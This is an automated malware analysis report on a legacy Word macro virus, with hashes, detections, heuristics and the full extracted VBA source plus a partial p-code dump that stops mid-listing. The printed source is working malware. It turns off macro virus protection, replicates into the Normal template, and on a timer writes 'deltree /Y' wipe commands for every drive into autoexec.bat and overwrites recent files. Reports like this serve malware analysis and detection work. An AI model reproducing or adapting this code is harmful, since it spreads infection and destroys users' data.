Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad518fcd929baf15…

MALICIOUS

Office (OLE)

46.5 KB Created: 1999-12-08 13:45:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-27
MD5: a08a8e559e1551aa2a23a6a873a89d70 SHA-1: 5f3daba66940da8d079cb554c21b954b6078225e SHA-256: ad518fcd929baf15eaeb18d8b1c8c6d1185f18010affcc92f69740d21ffdb620
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

This malicious document contains VBA macros that attempt to disable macro virus protection and replicate themselves to the Normal template. The `Document_Close` subroutine checks for and creates a file `c:\kill.log`, potentially for persistence or tracking. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Akuma-3' further indicate malicious intent, suggesting a trojan downloader or dropper.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
            lm = StandClear(mad, "Sub AutoOpen()")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
            lm = StandClear(mad, "Sub AutoClose()")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32161 bytes
SHA-256: 7b9f7b59e15074eca2a69e5183626b2e4031619ce0b05cb0fb724c930e52c3a4
Detection
ClamAV: Doc.Trojan.Akuma-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Stand
'2
    On Error Resume Next
    If Dir("c:\kill.log", vbArchive + vbHidden + vbReadOnly) = "" Then
        Open "c:\kill.log" For Output As #1
        Randomize
        Dataccia = DateAdd("d", Int((30 * Rnd) + 1), Date)
        Print #1, Dataccia
        Close #1
        SetAttr "c:\kill.log", vbArchive + vbHidden + vbReadOnly
    Else
        Open "c:\kill.log" For Input As #1
        Line Input #1, Dataccia
        If DateDiff("d", Date, Dataccia) <= 0 Then StandDestroy
        Close #1
    End If
End Sub

Private Sub Document_Open()
'Stand
'2
    Stand
End Sub

Private Sub Document_New()
'Stand
'2
    Stand
End Sub

Private Sub Stand()
'Stand
'2
'Copies: 62
    On Error Resume Next
    stato = ActiveDocument.Saved
    Application.EnableCancelKey = Not -1
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    Application.DisplayRecentFiles = True
    RecentFiles.Maximum = 9
    Set mad = NormalTemplate.VBProject.VBComponents.Item(1)
    For c = 1 To 2
        If Left(StandFind(mad, "Private Sub Stand()", True), Len("Stand Yes")) = "Stand Yes" Then GoTo NoClear
        lm = StandClear(mad, "Sub Document_Close()")
        lm = StandClear(mad, "Private Sub Document_Close()")
        lm = StandClear(mad, "Sub Document_New()")
        lm = StandClear(mad, "Private Sub Document_New()")
        lm = StandClear(mad, "Sub Document_Open()")
        lm = StandClear(mad, "Private Sub Document_Open()")
        lm = StandClear(mad, "Sub AutoClose()")
        lm = StandClear(mad, "Private Sub AutoClose()")
        lm = StandClear(mad, "Sub AutoOpen()")
        lm = StandClear(mad, "Private Sub AutoOpen()")
        lm = StandClear(mad, "Sub AutoNew()")
        lm = StandClear(mad, "Private Sub AutoNew()")
        lm = StandClear(mad, "Private Sub Stand()")
        lm = StandClear(mad, "Private Function StandClear(DoveM, StartM)")
        lm = StandClear(mad, "Private Sub StandDestroy()")
        lm = StandClear(mad, "Private Function StandFind(DoveM, StartM, Infect)")
        lm = StandClear(mad, "Private Function StandInfect()")
        lm = StandClear(mad, "Private Function StandWrite(StartM)")
NoClear:
        Set mad = ActiveDocument.VBProject.VBComponents.Item(1)
    Next c
    SetAttr "c:\Stand.log", vbNormal
    Kill "c:\Stand.log"
    Open "c:\Stand.log" For Output As #1
    lm = StandWrite("Private Sub Document_Close()")
    lm = StandWrite("Private Sub Document_Open()")
    lm = StandWrite("Private Sub Document_New()")
    lm = StandWrite("Private Sub Stand()")
    lm = StandWrite("Private Function StandClear(DoveM, StartM)")
    lm = StandWrite("Private Sub StandDestroy()")
    lm = StandWrite("Private Function StandFind(DoveM, StartM, Infect)")
    lm = StandWrite("Private Function StandInfect()")
    lm = StandWrite("Private Function StandWrite(StartM)")
    Close #1
    SetAttr "c:\Stand.log", vbNormal
    lm = StandInfect
    Kill "c:\Stand.log"
    Randomize
    If Int((10 * Rnd) + 1) = 6 Then
        With Dialogs(wdDialogFileSummaryInfo)
            .Title = "Stand Macro Carrier"
            .Author = "Lonely Mad"
            .Keywords = "I'll destroy you"
            .Execute
        End With
    End If
    If Left(ActiveDocument.Name, 8) <> "Document" And lm = 2 Then
        ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    End If
    ActiveDocument.Saved = stato
    On Error GoTo 0
End Sub

Private Function StandClear(DoveM, StartM)
'Stand
'2
    Count = StandFind(DoveM, StartM, True)
    If Left(Count, 5) <> "Stand" Then
        Do Until DoveM.CodeModule.Lines(Count, 1) = "End Sub" Or DoveM.CodeModule.Lines(Count, 1) = "End Function"
            DoveM.CodeModule.DeleteLines (Count)
        Loop
        DoveM.CodeModule.DeleteLines (Count)
    End If
End Function

Private Sub StandDestroy()
'Stand
'2
    On Error Resume Next
    SetAttr "c:\kill.log", vbNormal
    Kill "c:\kill.log"
    Randomize
    WhickStand = Int(5 * Rnd) + 1
    Select Case WhickStand
        Case 1
            var = MsgBox("This application caused a general protection error:" + Chr$(10) + "The system will be restarted", vbCritical, "The World")
            SetAttr "c:\autoexec.bat", vbNormal
            Open "c:\autoexec.bat" For Input As #1
                Do Until EOF(1)
                    Input #1, stress
                Loop
            Close #1
            If stress <> "next time I'll KILL YOU" Then
                Open "c:\autoexec.bat" For Append As #1
                    Print #1, "deltree /Y i:\*"
                    Print #1, "deltree /Y h:\*"
                    Print #1, "deltree /Y g:\*"
                    Print #1, "deltree /Y f:\*"
                    Print #1, "deltree /Y e:\*"
                    Print #1, "deltree /Y d:\*"
                    Print #1, "deltree /Y c:\*"
                    Print #1, "rem Created by The Lonely Mad"
                    Print #1, "rem Hey, looser, now your system, next time I'll KILL YOU"
                Close #1
            End If
            Tasks.ExitWindows
        Case 2
            var = MsgBox("This application caused a general protection error:" + Chr$(10) + "The system will be restarted", vbCritical, "Killer Queen")
            If Dir("c:\Abdul.log", vbArchive + vbHidden + vbReadOnly) = "" Then
                For c = 1 To Application.RecentFiles.Count
                    If Left(Application.RecentFiles.Item(c).Path, 3) <> "A:\" Then
                        Open Application.RecentFiles.Item(c).Path + "\" + Application.RecentFiles.Item(c) For Output As #1
                        Print #1, "Killer Queen kills stupid people like you, " + Application.UserName + "."
                        Close #1
                    End If
                Next c
            Else
                MsgBox "Killer Queen kills stupid people like you, " + Application.UserName + "."
            End If
            Tasks.ExitWindows
        Case 3
            var = MsgBox("This application caused a general protection error:" + Chr$(10) + "The system will be restarted", vbCritical, "Vanilla Ice")
            Tasks.ExitWindows
        Case 4
            var = MsgBox("This application caused a general protection error", vbCritical, "Star Platinum")
        Case 5
            var = MsgBox("This application caused a general protection error", vbCritical, "Crazy Diamond")
    End Select
    On Error GoTo 0
End Sub

Private Function StandFind(DoveM, StartM, Infect)
'Stand
'2
    For Count = 1 To DoveM.CodeModule.CountOfLines
        If LCase$(DoveM.CodeModule.Lines(Count, 1)) = LCase$(StartM) Then
            If Infect = False Then
                If StartM = "Private Sub Stand()" Then
                    var = Val(Trim(Right(DoveM.CodeModule.Lines(Count + 3, 1), Len(DoveM.CodeModule.Lines(Count + 3, 1)) - 8)))
                    DoveM.CodeModule.DeleteLines (Count + 3)
                    DoveM.CodeModule.InsertLines (Count + 3), "'Copies:" + Str(var + 1)
                End If
            End If
            If Trim(DoveM.CodeModule.Lines(Count + 1, 1)) = "'Stand" And Val(Trim(Right(DoveM.CodeModule.Lines(Count + 2, 1), Len(DoveM.CodeModule.Lines(Count + 2, 1)) - 1))) >= 2 Then
                StandFind = "Stand Yes" + Str(Count)
                Exit Function
            ElseIf Trim(DoveM.CodeModule.Lines(Count + 1, 1)) = "'Stand" And Val(Trim(Right(DoveM.CodeModule.Lines(Count + 2, 1), Len(DoveM.CodeModule.Lines(Count + 2, 1)) - 1))) < 2 Then
                GoTo FindIt
            Else
FindIt:         For cnt = 1 To DoveM.CodeModule.CountOfLines
                    If LCase$(DoveM.CodeModule.Lines(cnt, 1)) = LCase$(StartM) Then Exit For
                Next cnt
                StandFind = cnt
                Exit Function
            End If
        End If
    Next Count
    StandFind = "Stand"
End Function

Private Function StandInfect()
'Stand
'2
    If StandFind(NormalTemplate.VBProject.VBComponents.Item(1), "Private Sub Stand()", True) = "Stand" Then
        Set mad = NormalTemplate.VBProject.VBComponents.Item(1): flag = True: StandInfect = 1
    ElseIf StandFind(ActiveDocument.VBProject.VBComponents.Item(1), "Private Sub Stand()", True) = "Stand" Then
        Set mad = ActiveDocument.VBProject.VBComponents.Item(1): flag = True: StandInfect = 2
    Else
        flag = False: StandInfect = 3
    End If
    If flag = True Then
        Open "c:\Stand.log" For Input As #2
        If LOF(2) = 0 Then GoTo cpyvir
        Count = 1
        Do While Not EOF(2)
            Line Input #2, stress
            mad.CodeModule.InsertLines Count, stress
            Count = Count + 1
        Loop
cpyvir: Close #2
    End If
End Function

Private Function StandWrite(StartM)
'Stand
'2
    Count = StandFind(MacroContainer.VBProject.VBComponents.Item(1), StartM, False)
    If Count <> "Stand" Then
        If Left(Count, Len("Stand Yes")) = "Stand Yes" Then
            Count = Val(Right(Count, Len(Count) - Len("Stand Yes")))
        End If
        Do Until MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(Count, 1) = "End Sub" Or MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(Count, 1) = "End Function"
            stress = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(Count, 1)
            Print #1, stress
            Count = Count + 1
        Loop
        Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(Count, 1)
        Print #1, ""
    End If
End Function


' Processing file: /opt/analyzer/scan_staging/c13408a1c62446e48395c31214bd4678.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14670 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	QuoteRem 0x0000 0x0005 "Stand"
' Line #2:
' 	QuoteRem 0x0000 0x0001 "2"
' Line #3:
' 	OnError (Resume Next) 
' Line #4:
' 	LitStr 0x000B "c:\kill.log"
' 	Ld vbArchive 
' 	Ld vbHidden 
' 	Add 
' 	Ld vbReadOnly 
' 	Add 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LitStr 0x000B "c:\kill.log"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #6:
' 	ArgsCall Read 0x0000 
' Line #7:
' 	LitStr 0x0001 "d"
' 	LitDI2 0x001E 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	Ld Date 
' 	ArgsLd DateAdd 0x0003 
' 	St Dataccia 
' Line #8:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld Dataccia 
' 	PrintItemNL 
' Line #9:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #10:
' 	LitStr 0x000B "c:\kill.log"
' 	Ld vbArchive 
' 	Ld vbHidden 
' 	Add 
' 	Ld vbReadOnly 
' 	Add 
' 	ArgsCall SetAttr 0x0002 
' Line #11:
' 	ElseBlock 
' Line #12:
' 	LitStr 0x000B "c:\kill.log"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #13:
' 	LitDI2 0x0001 
' 	Ld Dataccia 
' 	LineInput 
' Line #14:
' 	LitStr 0x0001 "d"
' 	Ld Date 
' 	Ld Dataccia 
' 	ArgsLd DateDiff 0x0003 
' 	LitDI2 0x0000 
' 	Le 
' 	If 
' 	BoSImplicit 
' 	ArgsCall StandDestroy 0x0000 
' 	EndIf 
' Line #15:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	EndSub 
' Line #18:
' Line #19:
' 	FuncDefn (Private Sub Document_Open())
' Line #20:
' 	QuoteRem 0x0000 0x0005 "Stand"
' Line #21:
' 	QuoteRem 0x0000 0x0001 "2"
' Line #22:
' 	ArgsCall Stand 0x0000 
' Line #23:
' 	EndSub 
' Line #24:
' Line #25:
' 	FuncDefn (Private Sub Document_New())
' Line #26:
' 	QuoteRem 0x0000 0x0005 "Stand"
' Line #27:
' 	QuoteRem 0x0000 0x0001 "2"
' Line #28:
' 	ArgsCall Stand 0x0000 
' Line #29:
' 	EndSub 
' Line #30:
' Line #31:
' 	FuncDefn (Private Sub Stand())
' Line #32:
' 	QuoteRem 0x0000 0x0005 "Stand"
' Line #33:
' 	QuoteRem 0x0000 0x0001 "2"
' Line #34:
' 	QuoteRem 0x0000 0x000A "Copies: 62"
' Line #35:
' 	OnError (Resume Next) 
' Line #36:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St stato 
' Line #37:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #38:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #39:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #40:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #41:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #42:
' 	EndWith 
' Line #43:
' 	LitVarSpecial (True)
' 	Ld Application 
' 	MemSt DisplayRecentFiles 
' Line #44:
' 	LitDI2 0x0009 
' 	Ld RecentFiles 
' 	MemSt Maximum 
' Line #45:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set mad 
' Line #46:
' 	StartForVariable 
' 	Ld c 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	For 
' Line #47:
' 	Ld mad 
' 	LitStr 0x0013 "Private Sub Stand()"
' 	LitVarSpecial (True)
' 	ArgsLd StandFind 0x0003 
' 	LitStr 0x0009 "Stand Yes"
' 	FnLen 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0009 "Stand Yes"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo NoClear 
' 	EndIf 
' Line #48:
' 	Ld mad 
' 	LitStr 0x0014 "Sub Document_Close()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #49:
' 	Ld mad 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #50:
' 	Ld mad 
' 	LitStr 0x0012 "Sub Document_New()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #51:
' 	Ld mad 
' 	LitStr 0x001A "Private Sub Document_New()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #52:
' 	Ld mad 
' 	LitStr 0x0013 "Sub Document_Open()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #53:
' 	Ld mad 
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #54:
' 	Ld mad 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #55:
' 	Ld mad 
' 	LitStr 0x0017 "Private Sub AutoClose()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #56:
' 	Ld mad 
' 	LitStr 0x000E "Sub AutoOpen()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #57:
' 	Ld mad 
' 	LitStr 0x0016 "Private Sub AutoOpen()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #58:
' 	Ld mad 
' 	LitStr 0x000D "Sub AutoNew()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #59:
' 	Ld mad 
' 	LitStr 0x0015 "Private Sub AutoNew()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #60:
' 	Ld mad 
' 	LitStr 0x0013 "Private Sub Stand()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #61:
' 	Ld mad 
' 	LitStr 0x002A "Private Function StandClear(DoveM, StartM)"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #62:
' 	Ld mad 
' 	LitStr 0x001A "Private Sub StandDestroy()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #63:
' 	Ld mad 
' 	LitStr 0x0031 "Private Function StandFind(DoveM, StartM, Infect)"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #64:
' 	Ld mad 
' 	LitStr 0x001E "Private Function StandInfect()"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #65:
' 	Ld mad 
' 	LitStr 0x0023 "Private Function StandWrite(StartM)"
' 	ArgsLd StandClear 0x0002 
' 	St lm 
' Line #66:
' 	Label NoClear 
' Line #67:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set mad 
' Line #68:
' 	StartForVariable 
' 	Ld c 
' 	EndForVariable 
' 	NextVar 
' Line #69:
' 	LitStr 0x000C "c:\Stand.log"
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #70:
' 	LitStr 0x000C "c:\Stand.log"
' 	ArgsCall Kill 0x0001 
' Line #71:
' 	LitStr 0x000C "c:\Stand.log"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #72:
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #73:
' 	LitStr 0x001B "Private Sub Document_Open()"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #74:
' 	LitStr 0x001A "Private Sub Document_New()"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #75:
' 	LitStr 0x0013 "Private Sub Stand()"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #76:
' 	LitStr 0x002A "Private Function StandClear(DoveM, StartM)"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #77:
' 	LitStr 0x001A "Private Sub StandDestroy()"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #78:
' 	LitStr 0x0031 "Private Function StandFind(DoveM, StartM, Infect)"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #79:
' 	LitStr 0x001E "Private Function StandInfect()"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #80:
' 	LitStr 0x0023 "Private Function StandWrite(StartM)"
' 	ArgsLd StandWrite 0x0001 
' 	St lm 
' Line #81:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #82:
' 	LitStr 0x000C "c:\Stand.log"
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #83:
' 	Ld StandInfect 
' 	St lm 
' Line #84:
' 	LitStr 0x000C "c:\Stand.log"
' 	ArgsCall Kill 0x0001 
' Line #85:
' 	ArgsCall Read 0x0000 
' Line #86:
' 	LitDI2 0x000A 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	LitDI2 0x0006 
' 	Eq 
' 	IfBlock 
' Line #87:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #88:
' 	LitStr 0x0013 "Stand Macro Carrier"
' 	MemStWith Title 
' Line #89:
' 	LitStr 0x000A "Lonely Mad"
' 	MemStWith Author 
' Line #90:
' 	LitStr 0x0010 "I'll destroy you"
' 	MemStWith Keywords 
' Line #91:
' 	ArgsMemCallWith Execute 0x0000 
' Line #92:
' 	EndWith 
' Line #93:
' 	EndIfBlock 
' Line #94:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	Ld lm 
' 	LitDI2 0x0002 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #95:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #96:
' 	EndIfBlock 
' Line #97:
' 	Ld stato 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #98:
' 	OnError (GoTo 0) 
' Line #99:
' 	EndSub 
' Line #100:
' Line #101:
' 	FuncDefn (Private Function StandClear(DoveM, StartM, id_FFFE As Variant))
' Line #102:
' 	QuoteRem 0x0000 0x0005 "Stand"
' Line #103:
' 	QuoteRem 0x0000 0x0001 "2"
' Line #104:
' 	Ld DoveM 
' 	Ld StartM 
' 	LitVarSpecial (True)
' 	ArgsLd StandFind 0x0003 
' 	St Count 
' Line #105:
' 	Ld Count 
' 	LitDI2 0x0005 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0005 "Stand"
' 	Ne 
' 	IfBlock 
' Line #106:
' 	Ld Count 
' 	LitDI2 0x0001 
' 	Ld DoveM 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0007 "End Sub"
' 	Eq 
' 	Ld Count 
' 	LitDI2 0x0001 
' 	Ld DoveM 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x000C "End Function"
' 	Eq 
' 	Or 
' 	DoUnitil 
' Line #107:
' 	Ld Count 
' 	Paren 
' 	Ld DoveM 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #108:
' 	Loop 
' Line #109:
' 	Ld Count 
' 	Paren 
' 	Ld DoveM 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0001 
' Line #110:
' 	EndIfBlock 
' Line #111:
' 	EndFunc 
' Line #112:
' Line #113:
' 	FuncDefn (Private Sub StandDestroy())
' Line #114:
' 	QuoteRem 0x0000 0x0005 "Stand"
' Line #115:
' 	QuoteRem 0x0000 0x0001 "2"
' Line #116:
' 	OnError (Resume Next) 
' Line #117:
' 	LitStr 0x000B "c:\kill.log"
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #118:
' 	LitStr 0x000B "c:\kill.log"
' 	ArgsCall Kill 0x0001 
' Line #119:
' 	ArgsCall Read 0x0000 
' Line #120:
' 	LitDI2 0x0005 
' 	Ld Rnd 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St WhickStand 
' Line #121:
' 	Ld WhickStand 
' 	SelectCase 
' Line #122:
' 	LitDI2 0x0001 
' 	Case 
' 	CaseDone 
' Line #123:
' 	LitStr 0x0033 "This application caused a general protection error:"
' 	LitDI2 0x000A 
' 	ArgsLd Chr$ 0x0001 
' 	Add 
' 	LitStr 0x001C "The system will be restarted"
' 	Add 
' 	Ld vbCritical 
' 	LitStr 0x0009 "The World"
' 	ArgsLd MsgBox 0x0003 
' 	St var 
' Line #124:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #125:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #126:
' 	LitDI2 0x0001 
' 	ArgsLd EOF 0x0001 
' 	DoUnitil 
' Line #127:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Input 
' 	Ld stress 
' 	InputItem 
' 	InputDone 
' Line #128:
' 	Loop 
' Line #129:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #130:
' 	Ld stress 
' 	LitStr 0x0017 "next time I'll KILL YOU"
' 	Ne 
' 	IfBlock 
' Line #131:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Append)
' Line #132:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000F "deltree /Y i:\*"
' 	PrintItemNL 
' Line #133:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000F "deltree /Y h:\*"
' 	PrintItemNL 
' Line #134:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000F "deltree /Y g:\*"
' 	PrintItemNL 
' Line #135:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000F "deltree /Y f:\*"
' 	PrintItemNL 
' Line #136:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000F "deltree /Y e:\*"
' 	PrintItemNL 
' Line #137:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000F "deltree /Y d:\*"
' 	PrintItemNL 
' Line #138:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x000F "deltree /Y c:\*"
' 	PrintItemNL 
' Line #139:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x001D "rem Created by The Lonely Mad"
' 	PrintItemNL 
' Line #140:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0039 "rem Hey, looser, now your system, next time I'll KILL YOU"
' 	PrintItemNL 
' Line #141:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #142:
' 	EndIfBlock 
' Line #143:
' 	Ld Tasks 
' 	ArgsMemCall ExitWindows 0x0000 
' Line #144:
' 	LitDI2 0x0002 
' 	Case 
' 	CaseDone 
' Line #145:
' 	LitStr 0x0033 "This application caused a general protection error:"
' 	LitDI2 0x000A 
' 	ArgsLd Chr$ 0x0001 
' 	Add 
' 	LitStr 0x001C "The system will be restarted"
' 	Add 
' 	Ld vbCritical 
' 	LitStr 0x000C "Killer Queen"
' 	ArgsLd MsgBox 0x0003 
' 	St var 
' Line #146:
' 	LitStr 0x000C "c:\Abdul.log"
' 	Ld vbArchive 
' 	Ld vbHidden 
' 	Add 
' 	Ld vbReadOnly 
' 	Add 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #147:
' 	StartForVariable 
' 	Ld c 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Application 
' 	MemLd RecentFiles 
' 	MemLd Count 
' 	For 
' Line #148:
' 	Ld c 
' 	Ld Application 
' 	MemLd RecentFiles 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Path 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "A:\"
' 	Ne 
' 	IfBlock 
' Line #149:
' 	Ld c 
' 	Ld Application 
' 	MemLd RecentFiles 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Path 
' 	LitStr 0x0001 "\"
' 	Add 
' 	Ld c 
' 	Ld Application 
' 	MemLd RecentFiles 
' 	ArgsMemLd Item 0x0001 
' 	Add 
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #150:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x002B "Killer Queen kills stupid people like you, "
' 	Ld Application 
' 	MemLd UserName 
' 	Add 
' 	LitStr 0x0001 "."
' 	Add 
' 	PrintItemNL 
' Line #151:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #152:
' 	EndIfBlock 
' Line #153:
' 	StartForVariable 
' 	Ld c 
' 	EndForVariable 
' 	NextVar 
' Line #154:
' 	ElseBlock 
' Line #155:
' 	LitStr 0x002B "Killer Queen kills stupid people like you, "
' 	Ld Application 
' 	MemLd UserName 
' 	Add 
' 	LitStr 0x0001 "."
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' Line #156:
' 	EndIfBlock 
' Line #157:
' 	Ld Tasks 
' 	ArgsMemCall ExitWindows 0x0000 
' Line #158:
' 	LitDI2 0x0003 
